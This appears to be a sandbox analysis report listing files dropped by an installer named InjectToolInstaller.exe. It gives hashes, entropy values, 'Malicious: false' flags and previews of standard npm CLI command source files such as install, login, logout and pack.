SSDEEP:	96:E/5NnffLOKD03E4YWdEn3Nr9EnRwNh7/hkOLfyJQYGpgWX1ZstIGDyTffksr+QY:e3ffnD004FEndr9Enq7/hkOLfyJnGpgr
MD5:	53744B720D3D17D6395B32E1FF1C0B81
SHA1:	254F903AA18F0D32C4C186129D6580921916C030
SHA-256:	E3166EB8EF0AA0D4846B451A8152F395165AA3E8FB1CA7904EE0DAE4F84B4AED
SHA-512:	3C4A3227E5B2B148AC5CE3D3E0E823418D71BFEB047DB6E32DD0A1B648FF2EA8901D49BF677EC5505C8C90414D10E0981C857C0E85C0629610E4D4F55028A274
Malicious:	false
Preview:	const { readFile } = require('fs/promises').const path = require('path').const { glob } = require('glob').const BaseCommand = require('../base-command.js')..const globify = pattern => pattern.split('\\').join('/')..class HelpSearch extends BaseCommand {. static description = 'Search npm help documentation'. static name = 'help-search'. static usage = ['<text>']. static params = ['long'].. async exec (args) {. if (!args.length) {. throw this.usageError(). }.. const docPath = path.resolve(this.npm.npmRoot, 'docs/content'). let files = await glob(`${globify(docPath)}//.md`). // preserve glob@8 behavior. files = files.sort((a, b) => a.localeCompare(b, 'en')). const data = await this.readFiles(files). const results = await this.searchFiles(args, data, files). const formatted = this.formatResults(args, results). if (!formatted.trim()) {. this.npm.output(`No matches in help for: ${args.join(' ')}\n`). } else {. this.npm.output(formatted).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\help.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3666
Entropy (8bit):	4.878865084614684
Encrypted:	false
SSDEEP:	96:XGUDZdNEDUWLe7/2iLKMpYzwqizVPlirn/Th1w:XtZ3TWQ/bLjpY8qizzE/Th1w
MD5:	76A94B0DD810810A5B6AA0F8C524ED19
SHA1:	FA32866055DE168C4769549E3D7BEFEF18D74827
SHA-256:	C534404B2B8001878DC495F17A6B593864C77483D25355BEE8823A524A883875
SHA-512:	E89167878D62AC0BABF46F158A59208FA9E9ED925C72A02E950A990158FA3222F287E1D1E745A24B23EFE99D65F5FB2606E42C0E77E9B17F4080915E402D0CD5
Malicious:	false
Preview:	const spawn = require('@npmcli/promise-spawn').const path = require('path').const openUrl = require('../utils/open-url.js').const { glob } = require('glob').const localeCompare = require('@isaacs/string-locale-compare')('en').const { deref } = require('../utils/cmd-list.js')..const globify = pattern => pattern.split('\\').join('/').const BaseCommand = require('../base-command.js')..// Strips out the number from foo.7 or foo.7. or foo.7.tgz.// We don't currently compress our man pages but if we ever did this would.// seamlessly continue supporting it.const manNumberRegex = /\.(\d+)(\.[^/\\]*)?$/.// hardcoded names for mansections.// XXX: these are used in the docs workspace and should be exported.// from npm so section names can changed more easily.const manSectionNames = {. 1: 'commands',. 5: 'configuring-npm',. 7: 'using-npm',.}..class Help extends BaseCommand {. static description = 'Get help on npm'. static name = 'help'. static usage = ['<term> [<terms..>]']. static params =

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\hook.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	3860
Entropy (8bit):	4.692186703563372
Encrypted:	false
SSDEEP:	96:8ym5sE02+V9tTc6VkYRWAo5GidTNb5MRtV9tT3JV9tTcEm8Q9g:8l/02+V9u6VkYVo5GidTNbWRtV9hJV9n
MD5:	4DE3A095851F71FDCD22EFCDFCFE74BE
SHA1:	3754FBE9F8D62E75052B515D0C84C94A51F03A18
SHA-256:	1F59C190D623B7A8FA6FABD427F9E705417E7F6CC699FB7A8BA4D1AF5418051C
SHA-512:	C269BDA0848C8F6C867806F825D514BC1A409208E0889D1F1A265D74ED6FDC96E3B9FF254C6D0C23740F47D649C596F5BACCD607F52E660C3A7742BCF2E8CEF0
Malicious:	false
Preview:	const hookApi = require('libnpmhook').const otplease = require('../utils/otplease.js').const relativeDate = require('tiny-relative-date').const Table = require('cli-table3')..const BaseCommand = require('../base-command.js').class Hook extends BaseCommand {. static description = 'Manage registry hooks'. static name = 'hook'. static params = [. 'registry',. 'otp',. ].. static usage = [. 'add <pkg> <url> <secret> [--type=<type>]',. 'ls [pkg]',. 'rm <id>',. 'update <id> <url> <secret>',. ].. async exec (args) {. return otplease(this.npm, { ...this.npm.flatOptions }, (opts) => {. switch (args[0]) {. case 'add':. return this.add(args[1], args[2], args[3], opts). case 'ls':. return this.ls(args[1], opts). case 'rm':. return this.rm(args[1], opts). case 'update':. case 'up':. return this.update(args[1], args[2], args[3], opts). default:. throw this.usageError(). }. }

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\init.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7121
Entropy (8bit):	4.651768582822047
Encrypted:	false
SSDEEP:	96:Tj5g70udBaQuaV58LPrRI3FEUkik+DbxJwHuuNmEDgASsoy9tM0/5:BglbuCGrrkFEUkibxJwHu2Dgw1/5
MD5:	AE10536F461953FDE9EAF08060322282
SHA1:	E1065F8C5D5A26721A6B26F6E87ECE8C4A4FB143
SHA-256:	D6A69B39C8744536645D320AA1A8D724619A3EB137192236FC2692D160835775
SHA-512:	854646FA1B8B2F1DDB7AD0A7A579DBCF4E901AEEE3DCE9A43DFFFB4A443F145EDAAC483FB3B45286CA776617D668DD983D8DC77E673EBE385D0EF7881FFA0FE5
Malicious:	false
Preview:	const fs = require('fs').const { relative, resolve } = require('path').const { mkdir } = require('fs/promises').const initJson = require('init-package-json').const npa = require('npm-package-arg').const libexec = require('libnpmexec').const mapWorkspaces = require('@npmcli/map-workspaces').const PackageJson = require('@npmcli/package-json').const log = require('../utils/log-shim.js').const updateWorkspaces = require('../workspaces/update-workspaces.js')..const posixPath = p => p.split('\\').join('/')..const BaseCommand = require('../base-command.js')..class Init extends BaseCommand {. static description = 'Create a package.json file'. static params = [. 'init-author-name',. 'init-author-url',. 'init-license',. 'init-module',. 'init-version',. 'yes',. 'force',. 'scope',. 'workspace',. 'workspaces',. 'workspaces-update',. 'include-workspace-root',. ].. static name = 'init'. static usage = [. '<package-spec> (same as `npx <package-spec>`)',.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\install-ci-test.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	373
Entropy (8bit):	4.562011656621717
Encrypted:	false
SSDEEP:	6:jCqGsmaOsuL+3JhBjEGRuwe2fS9UZ5l9tgfmSdzWbsmFFLpCGMblN7KpCHCwcb0+:jCb1aLzJv4af3ZX9tgOWQ1zp2blNGppl
MD5:	A927CCE5429D093D2B93D83CB2A73BAA
SHA1:	BACC5661FBC8EFBDAB4BE25E4D2E20C0FB2C6964
SHA-256:	84DBBC81A9229AE4E706B25B25FE16D6231D5971A0871CC612E94A2BFB104DC1
SHA-512:	B23768595E27F5E94ACC2883E01B754E98094EF283514E9CEBD8D2487A5DAC66F9EB560AB8860560D74C2917038EA486ACF02DC6B4A08DEE085C3B6BA9AF32DA
Malicious:	false
Preview:	// npm install-ci-test.// Runs `npm ci` and then runs `npm test`..const CI = require('./ci.js')..class InstallCITest extends CI {. static description = 'Install a project with a clean slate and run tests'. static name = 'install-ci-test'.. async exec (args) {. await this.npm.exec('ci', args). return this.npm.exec('test', []). }.}.module.exports = InstallCITest.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\install-test.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	370
Entropy (8bit):	4.492488380556309
Encrypted:	false
SSDEEP:	6:jCqGRn+qIzruL+3JcVEElcuwE2eS9UZHWQmSdzWbRg3FLpCMyJ+N7KpCHCwcb0Bo:jCbZ+rvzJcVtlGE2e3Z2PWQQpPa+NGpv
MD5:	EFAF757E16810D88CF1E01CF2E9B751A
SHA1:	692B8B3C4578029A4E805F1D7236BD92A5A99001
SHA-256:	739931083C422081665CEC95DEA11BF3FC118ED534A13D53A2A295338FAF34C0
SHA-512:	9BFC800F5CBD71D468734103BB92F800EB3C7D9BB1F691FA659760D2A95F1E1307D26667D6957DE4271B9FA60DB45BA10CB8013ADA69C8AEFA393BF7A9331AB6
Malicious:	false
Preview:	// npm install-test.// Runs `npm install` and then runs `npm test`..const Install = require('./install.js')..class InstallTest extends Install {. static description = 'Install package(s) and run tests'. static name = 'install-test'.. async exec (args) {. await this.npm.exec('install', args). return this.npm.exec('test', []). }.}.module.exports = InstallTest.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\install.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5383
Entropy (8bit):	4.574994947439977
Encrypted:	false
SSDEEP:	96:Auu3/Kxj4VxJFXhty0liSSKTekkJaV0YkRloyi8q:S3/mkVxfxty0lieTeRasRloyi8q
MD5:	02BCD7F967C8D9119DC393C6000FE9D2
SHA1:	F4CF03BEC5AA7234CAFDC89C77DD0B901E4A0B0A
SHA-256:	4587D7B720A706FA59E1D1549EFF640D0E6C2E9242222ED5D65A051D660E5D99
SHA-512:	0A7C7813AF0041138D17A98FB546EBB8233E5E40751EF1E1C3207489CD2F675C3F6F09DACA353695CA5745C23D540D9F5C98F5AE262766C3E88FECC7ECA783CC
Malicious:	false
Preview:	/* eslint-disable camelcase */.const fs = require('fs').const util = require('util').const readdir = util.promisify(fs.readdir).const reifyFinish = require('../utils/reify-finish.js').const log = require('../utils/log-shim.js').const { resolve, join } = require('path').const runScript = require('@npmcli/run-script').const pacote = require('pacote').const checks = require('npm-install-checks')..const ArboristWorkspaceCmd = require('../arborist-cmd.js').class Install extends ArboristWorkspaceCmd {. static description = 'Install a package'. static name = 'install'.. // These are in the order they will show up in when running "-h". // If adding to this list, consider adding also to ci.js. static params = [. 'save',. 'save-exact',. 'global',. 'install-strategy',. 'legacy-bundling',. 'global-style',. 'omit',. 'include',. 'strict-peer-deps',. 'prefer-dedupe',. 'package-lock',. 'package-lock-only',. 'foreground-scripts',. 'ignore-scripts',. 'au

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\link.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5428
Entropy (8bit):	4.628920753838288
Encrypted:	false
SSDEEP:	96:TPnAzJ9banFj2XnEdNYeOBEH7s0rvEev5xb56K34h22j:DAGFjWncIEHdjtv/56+E22j
MD5:	C3801D524D368396ABA439CFB232D9E6
SHA1:	0D76937204ABC025480EE098FEB7250D818D14AE
SHA-256:	D96E53F9137D7BA950EA004092BEF246388236BCE6FD9883B7978F83A4EDC2AE
SHA-512:	82F5BD0450B41E284E68D31E01E1830A81D204805FAF37D68BD1A1A332625E6AED8A2EF2F8AA87D63D1613B915B2D274FEC045CD5DFEBD74B7D9CDD04B322D15
Malicious:	false
Preview:	const fs = require('fs').const util = require('util').const readdir = util.promisify(fs.readdir).const { resolve } = require('path')..const npa = require('npm-package-arg').const pkgJson = require('@npmcli/package-json').const semver = require('semver')..const reifyFinish = require('../utils/reify-finish.js')..const ArboristWorkspaceCmd = require('../arborist-cmd.js').class Link extends ArboristWorkspaceCmd {. static description = 'Symlink a package folder'. static name = 'link'. static usage = [. '[<package-spec>]',. ].. static params = [. 'save',. 'save-exact',. 'global',. 'install-strategy',. 'legacy-bundling',. 'global-style',. 'strict-peer-deps',. 'package-lock',. 'omit',. 'include',. 'ignore-scripts',. 'audit',. 'bin-links',. 'fund',. 'dry-run',. ...super.params,. ].. static async completion (opts, npm) {. const dir = npm.globalDir. const files = await readdir(dir). return files.filter(f => !/^[._-]/.test(f)). }.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\ll.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	234
Entropy (8bit):	4.702870169483143
Encrypted:	false
SSDEEP:	3:DiJjMv32NtMGFwoCMFMGFoYjlWWLwrdF/clIHLqBNCUNQpo+slXLAdCSbD+0Bblv:Diy+cSdp2SoYoWLwzTL+r9ZAdCo/B5
MD5:	2439D3EB154AA6FA961B02E055C8A55D
SHA1:	FB036EEA4D887841DA72CEBFBB8E47402113FB83
SHA-256:	8E757FDD4DF21442479380D019CB34852F8B1DB7489A12E39968851B1F48BB32
SHA-512:	9669E0DEF98A65C232573A9B2ED8C849D51476A9C4363F2CD2351DF2C4BB0D3A250D0309BBF3030DC80BCBED91A8915213D080E8EB55216A79757B4A37E41CDC
Malicious:	false
Preview:	const LS = require('./ls.js')..class LL extends LS {. static name = 'll'. static usage = ['[[<@scope>/]<pkg> ...]'].. async exec (args) {. this.npm.config.set('long', true). return super.exec(args). }.}..module.exports = LL.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\login.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1347
Entropy (8bit):	4.680485287745069
Encrypted:	false
SSDEEP:	24:y4Mj9Gd/b/Bc0KpQwQKUyUlRoFN28HTE5BRmOb0Bq:yGZdcvpQwQ3yKuDTEBoOY4
MD5:	52F92E541BAF8D2BC581348506EC3486
SHA1:	16033458C9CE89C30EAD5AABA020DB4EA8CB71C1
SHA-256:	1C65A4E672268A16BC9937773B3FB7FB2100E7C1DADD2D74F1C3126BD81D1755
SHA-512:	B7653675E4255F645C8E0C8447543831DB2CEA0602C44BFA1D167FDB8CE87C73A5C5AB4191F94BD9F2AF8D0EBBF2BD1C7C9942FFE1474F5703AB20C9986DFDEE
Malicious:	false
Preview:	const log = require('../utils/log-shim.js').const replaceInfo = require('../utils/replace-info.js').const auth = require('../utils/auth.js')..const BaseCommand = require('../base-command.js')..class Login extends BaseCommand {. static description = 'Login to a registry user account'. static name = 'login'. static params = [. 'registry',. 'scope',. 'auth-type',. ].. async exec (args) {. const scope = this.npm.config.get('scope'). let registry = this.npm.config.get('registry').. if (scope) {. const scopedRegistry = this.npm.config.get(`${scope}:registry`). const cliRegistry = this.npm.config.get('registry', 'cli'). if (scopedRegistry && !cliRegistry) {. registry = scopedRegistry. }. }.. const creds = this.npm.config.getCredentialsByURI(registry).. log.disableProgress(). log.notice('', `Log in on ${replaceInfo(registry)}`).. const { message, newCreds } = await auth.login(this.npm, {. ...this.npm.flatOptions,. creds

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\logout.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1465
Entropy (8bit):	4.772642876709919
Encrypted:	false
SSDEEP:	24:U9C0b4KG7L4+njGWNr7m8vhhQACddFL5w4EMpOf+dDiGXt7zb0Bv:UNK4KKWR5vhh1qvjiGXZYh
MD5:	709D553531B6CCC0B1FBA9D9B679AC26
SHA1:	3CD64664CEDB990B6A0E2762C899A2EC8FDC2FC8
SHA-256:	E0EC8285BED158286E73D2B3AB052FAB228CBC0C0A601B5DD36CA365DB333F2C
SHA-512:	46D1ABD981AE8D140C035CE0E2A464CDC01F02CFFF6E1E06C79AB2B6F938454958ED9E2858D1302DB67B719408CC16C6AD507A4D6CE5AABF2F6060444D273566
Malicious:	false
Preview:	const npmFetch = require('npm-registry-fetch').const { getAuth } = npmFetch.const log = require('../utils/log-shim').const BaseCommand = require('../base-command.js')..class Logout extends BaseCommand {. static description = 'Log out of the registry'. static name = 'logout'. static params = [. 'registry',. 'scope',. ].. async exec (args) {. const registry = this.npm.config.get('registry'). const scope = this.npm.config.get('scope'). const regRef = scope ? `${scope}:registry` : 'registry'. const reg = this.npm.config.get(regRef) \|\| registry.. const auth = getAuth(reg, this.npm.flatOptions).. const level = this.npm.config.find(`${auth.regKey}:${auth.authKey}`).. // find the config level and only delete from there. if (auth.token) {. log.verbose('logout', `clearing token for ${reg}`). await npmFetch(`/-/user/token/${encodeURIComponent(auth.token)}`, {. ...this.npm.flatOptions,. registry: reg,. method: 'DELETE',. igno

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\ls.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	17161
Entropy (8bit):	4.717487144363916
Encrypted:	false
SSDEEP:	384:H2T/kME6Y19xprZhCTX670SmZZyyMfxUP5dAVa0s:WT/vSVFNwMq
MD5:	75C4AA8280349A6805380B7AF1F3CD71
SHA1:	4D95527184D157668D5C3322A090BAFF3A379F9B
SHA-256:	153D898EEDD85A34FB5A275BF5BD1658A5E6A770E0E268C738298D83A97131C4
SHA-512:	45AF03CD74D33A714314CD04B7D1EA437108FE5C7BC07610E106397EA25822DA53DB73E4B9AA30C437CFCA636E7FB53D03839CC23C98C4E5116FE94D598C5500
Malicious:	false
Preview:	const { resolve, relative, sep } = require('path').const relativePrefix = `.${sep}`.const { EOL } = require('os')..const archy = require('archy').const { breadth } = require('treeverse').const npa = require('npm-package-arg')..const _depth = Symbol('depth').const _dedupe = Symbol('dedupe').const _filteredBy = Symbol('filteredBy').const _include = Symbol('include').const _invalid = Symbol('invalid').const _name = Symbol('name').const _missing = Symbol('missing').const _parent = Symbol('parent').const _problems = Symbol('problems').const _required = Symbol('required').const _type = Symbol('type').const ArboristWorkspaceCmd = require('../arborist-cmd.js').const localeCompare = require('@isaacs/string-locale-compare')('en')..class LS extends ArboristWorkspaceCmd {. static description = 'List installed packages'. static name = 'ls'. static usage = ['<package-spec>']. static params = [. 'all',. 'json',. 'long',. 'parseable',. 'global',. 'depth',. 'omit',. 'include

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\org.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4250
Entropy (8bit):	4.550261626047772
Encrypted:	false
SSDEEP:	96:hkuBsRwgmilPMAuV0g0t7mMhMytxAqasPjBoYCVlrUZiK+aT:hkukmiDuV0P7uy/AqrjvCVlgsKlT
MD5:	2F240D50DE94F70A3D6808A740D0A73F
SHA1:	0D8887518DAE20A5F04C5F5DAA504949659A1210
SHA-256:	1D7AFEEE6CF2484675C432117B67D3F4997E87D10668E3B0F618FE75B3E66D65
SHA-512:	2C6B7CC9AE6A2016532AF34058F3376754BDA5CF3E5A648C71C9818661BBE1F4F69B09D046B30929293F1395AE6FC4F9695B8EC9A5AB5B3DB3A5A0544CEE2A95
Malicious:	false
Preview:	const liborg = require('libnpmorg').const otplease = require('../utils/otplease.js').const Table = require('cli-table3').const BaseCommand = require('../base-command.js')..class Org extends BaseCommand {. static description = 'Manage orgs'. static name = 'org'. static usage = [. 'set orgname username [developer \| admin \| owner]',. 'rm orgname username',. 'ls orgname [<username>]',. ].. static params = ['registry', 'otp', 'json', 'parseable'].. static async completion (opts) {. const argv = opts.conf.argv.remain. if (argv.length === 2) {. return ['set', 'rm', 'ls']. }.. switch (argv[2]) {. case 'ls':. case 'add':. case 'rm':. case 'set':. return []. default:. throw new Error(argv[2] + ' not recognized'). }. }.. async exec ([cmd, orgname, username, role]) {. return otplease(this.npm, {. ...this.npm.flatOptions,. }, opts => {. switch (cmd) {. case 'add':. case 'set':. return

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\outdated.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8964
Entropy (8bit):	4.52763188892222
Encrypted:	false
SSDEEP:	192:9KEnKcrnLhmkWrurVN+mSzuFpLnfT3i7+j3j+tH:0XgABQfO7+KH
MD5:	0A5A5A08632A90BB64FC32EB2726DBD8
SHA1:	57478F9632D3F6475281341C2C6844F87B9E4E9C
SHA-256:	0A138AE61D8A465395E13210386563DBE023BB88C87E30D2F937B4BA23160DE9
SHA-512:	9A53A0793C7D74E13C509C19802F42F100836B313730A964D6C5621DB850ADAE88B54A7112C2FA75DF1CEEDB1EC739594A458929F8C336732B8F6780895785EF
Malicious:	false
Preview:	const os = require('os').const { resolve } = require('path').const pacote = require('pacote').const table = require('text-table').const npa = require('npm-package-arg').const pickManifest = require('npm-pick-manifest').const localeCompare = require('@isaacs/string-locale-compare')('en')..const ansiTrim = require('strip-ansi').const ArboristWorkspaceCmd = require('../arborist-cmd.js')..class Outdated extends ArboristWorkspaceCmd {. static description = 'Check for outdated packages'. static name = 'outdated'. static usage = ['[<package-spec> ...]']. static params = [. 'all',. 'json',. 'long',. 'parseable',. 'global',. 'workspace',. ].. async exec (args) {. const global = resolve(this.npm.globalDir, '..'). const where = this.npm.global. ? global. : this.npm.prefix.. const Arborist = require('@npmcli/arborist'). const arb = new Arborist({. ...this.npm.flatOptions,. path: where,. }).. this.edges = new Set(). this.list = [].

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\owner.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5955
Entropy (8bit):	4.567975233753495
Encrypted:	false
SSDEEP:	96:M/TJtgpHdGfuuYYFFC0iQcnayztu65+0rlzQz4mvBD/o4bA9OvpwvBU4WK0Wve:M/TJtg+qYjXiQcndztu65jxzQzpa4bLF
MD5:	157059573C65E2F0C8AF0C7F35B9721E
SHA1:	A366429DA4E54E070FCC55AAB9618C8F030F54C9
SHA-256:	D5634A05928FBB01B26617403546403E72E925A7E6A5EA5AA23F1DDD447799BE
SHA-512:	1FF26C2BA87BE301AFA400DB7CEE56A09129508947C0C17AC92ABB0FC3B5F3E736C4F7E1FA684959CED9B097D7ABFD7A47DBF73EC0EA791F4AEE7247B59620BB
Malicious:	false
Preview:	const npa = require('npm-package-arg').const npmFetch = require('npm-registry-fetch').const pacote = require('pacote').const log = require('../utils/log-shim').const otplease = require('../utils/otplease.js').const pkgJson = require('@npmcli/package-json').const BaseCommand = require('../base-command.js')..const readJson = async (path) => {. try {. const { content } = await pkgJson.normalize(path). return content. } catch {. return {}. }.}..class Owner extends BaseCommand {. static description = 'Manage package owners'. static name = 'owner'. static params = [. 'registry',. 'otp',. 'workspace',. 'workspaces',. ].. static usage = [. 'add <user> <package-spec>',. 'rm <user> <package-spec>',. 'ls <package-spec>',. ].. static workspaces = true. static ignoreImplicitWorkspace = false.. static async completion (opts, npm) {. const argv = opts.conf.argv.remain. if (argv.length > 3) {. return []. }.. if (argv[1] !== 'owner') {. ar

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\pack.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2430
Entropy (8bit):	4.642221051398111
Encrypted:	false
SSDEEP:	48:OwlRne5rte9lRjZ5u2NYtXlW8NlZP7i8ZqzKlnYq:ptuhe9lt/u2NYtV1/ZPuBzqYq
MD5:	DE68C823E267C62AFFAF1BC300D7B866
SHA1:	67C82A06A07F04DD89001A220E7A69EEC00C6C96
SHA-256:	152FE2FC0AD94A1EF32A433A1DD0430F5C8E129AE447D781984A5973A356B4CF
SHA-512:	4FFFB904D6D1E2B699F9B8246D5F981822683BC16889D9DEBB974FAF21B8E614B49A44E7E0407B483121037ECD71709B3BA4D71FF0F656492597F3876C231ADF
Malicious:	false
Preview:	const pacote = require('pacote').const libpack = require('libnpmpack').const npa = require('npm-package-arg').const log = require('../utils/log-shim').const { getContents, logTar } = require('../utils/tar.js').const BaseCommand = require('../base-command.js')..class Pack extends BaseCommand {. static description = 'Create a tarball from a package'. static name = 'pack'. static params = [. 'dry-run',. 'json',. 'pack-destination',. 'workspace',. 'workspaces',. 'include-workspace-root',. ].. static usage = ['<package-spec>']. static workspaces = true. static ignoreImplicitWorkspace = false.. async exec (args) {. if (args.length === 0) {. args = ['.']. }.. const unicode = this.npm.config.get('unicode'). const json = this.npm.config.get('json').. // Get the manifests and filenames first so we can bail early on manifest. // errors before making any tarballs. const manifests = []. for (const arg of args) {. const spec = npa(arg).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\ping.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	917
Entropy (8bit):	4.7870039893598175
Encrypted:	false
SSDEEP:	24:NTti4+fpRGMTeKJxRziaonc/mlpUtlxb0BN:jiJC8zziahulpUtlxYD
MD5:	AF1099C79364413A2413EA6650E3A6C6
SHA1:	2251A8EFE2FAC9A1A3E2A1D415CC479666B0535F
SHA-256:	0348DA7D4BD6F28E89762F9C3B7D7CE52EC66CA6B9EC2570FB40A60A19042009
SHA-512:	0614B61351D8BD57356D1EF0C595925007D7F80E8F49382E83925FDDF31B36DE2BE43B555ABFF2ED4054281B71802464E955D65AF983019330A4E1FC79B9838D
Malicious:	false
Preview:	const { cleanUrl } = require('npm-registry-fetch').const log = require('../utils/log-shim').const pingUtil = require('../utils/ping.js').const BaseCommand = require('../base-command.js')..class Ping extends BaseCommand {. static description = 'Ping npm registry'. static params = ['registry']. static name = 'ping'.. async exec (args) {. const cleanRegistry = cleanUrl(this.npm.config.get('registry')). log.notice('PING', cleanRegistry). const start = Date.now(). const details = await pingUtil({ ...this.npm.flatOptions }). const time = Date.now() - start. log.notice('PONG', `${time}ms`). if (this.npm.config.get('json')) {. this.npm.output(JSON.stringify({. registry: cleanRegistry,. time,. details,. }, null, 2)). } else if (Object.keys(details).length) {. log.notice('PONG', `${JSON.stringify(details, null, 2)}`). }. }.}.module.exports = Ping.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\pkg.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3745
Entropy (8bit):	4.666633213878888
Encrypted:	false
SSDEEP:	96:q2Nvyux5RXBb02+P5ZLROARZLcry855N+8lQc7:q2NF5hBbYB1RNR1cryemzc7
MD5:	114FE808BF31C7868D0E6584E5EB5294
SHA1:	05D5FD70B3DC697EFE496DEA2BBB41985853E195
SHA-256:	69C70EA3FC958A1EE5D4A0ABD2662F0500C8F06A29AE834C77B6860C0FE778B1
SHA-512:	A7FC602FC801D73F6F6A19C09A978685DE5A6D18198670BF7E397966A5486FDAC3305006773971B52D69677975C77C530D207FD8891B39A19D55692319A14953
Malicious:	false
Preview:	const PackageJson = require('@npmcli/package-json').const BaseCommand = require('../base-command.js').const Queryable = require('../utils/queryable.js')..class Pkg extends BaseCommand {. static description = 'Manages your package.json'. static name = 'pkg'. static usage = [. 'set <key>=<value> [<key>=<value> ...]',. 'get [<key> [<key> ...]]',. 'delete <key> [<key> ...]',. 'set [<array>[<index>].<key>=<value> ...]',. 'set [<array>[].<key>=<value> ...]',. 'fix',. ].. static params = [. 'force',. 'json',. 'workspace',. 'workspaces',. ].. static workspaces = true. static ignoreImplicitWorkspace = false.. async exec (args, { prefix } = {}) {. if (!prefix) {. this.prefix = this.npm.localPrefix. } else {. this.prefix = prefix. }.. if (this.npm.global) {. throw Object.assign(. new Error(`There's no package.json file to manage on global mode`),. { code: 'EPKGGLOBAL' }. ). }.. const [cmd, ..._args] = args.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\prefix.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	4.687960578735591
Encrypted:	false
SSDEEP:	6:SDKkZeTykfS9yE2efSdVnefSmCySoYjk7K0mvQAUb0BHt:SWkZ9kfnE2efWNeft7DG0moxb0BN
MD5:	5265F809F49EDFDB9FA6CD690ABF4CF1
SHA1:	413D6AA7F179C2670B15C3FBBAA1C6D0A7BFABCA
SHA-256:	972EAE3DD569D2BEF7D9F72312B7C68CDC9D91A38B15791C37B6F8150D043E38
SHA-512:	AA2179DD85FC187605C35645DA2EFEDBEBF4DC1EE248353327837D11C48E31E78CDBA83B029328DAC3B0CEEDE24C8832DDD796162308F7F911113E389311146B
Malicious:	false
Preview:	const BaseCommand = require('../base-command.js')..class Prefix extends BaseCommand {. static description = 'Display prefix'. static name = 'prefix'. static params = ['global']. static usage = ['[-g]'].. async exec (args) {. return this.npm.output(this.npm.prefix). }.}.module.exports = Prefix.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\lib\commands\profile.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11463
Entropy (8bit):	4.671536489781832
Encrypted:	false
SSDEEP:	192:tiZUTPH6sl1SB7u8y8i0esbB+fh2O47CVrNkQCYE5BhblgLBnboQF3+Uk:5TPasl1SBKSb0HOCDihblgLBbD+Uk
MD5:	0F268270536ACD4845E2B7F5A70C3268
SHA1:	2E3AE78CB51189C109EC37DC127C7B91A485C2A1
SHA-256:	1F5D83943E8CBA33CA866634985145CB98CA110E4B8C2CCCE9517FE27CD590E2
SHA-512:	2806ACBB17DA25B787CE295471F12E58AE272FB637CC21FD85508214C0EAB0D347B41DCE5D1E1FEA620AA2CB482AF7D97D02E45D380A528BB5ACC22C1148A4C6
Malicious:	false
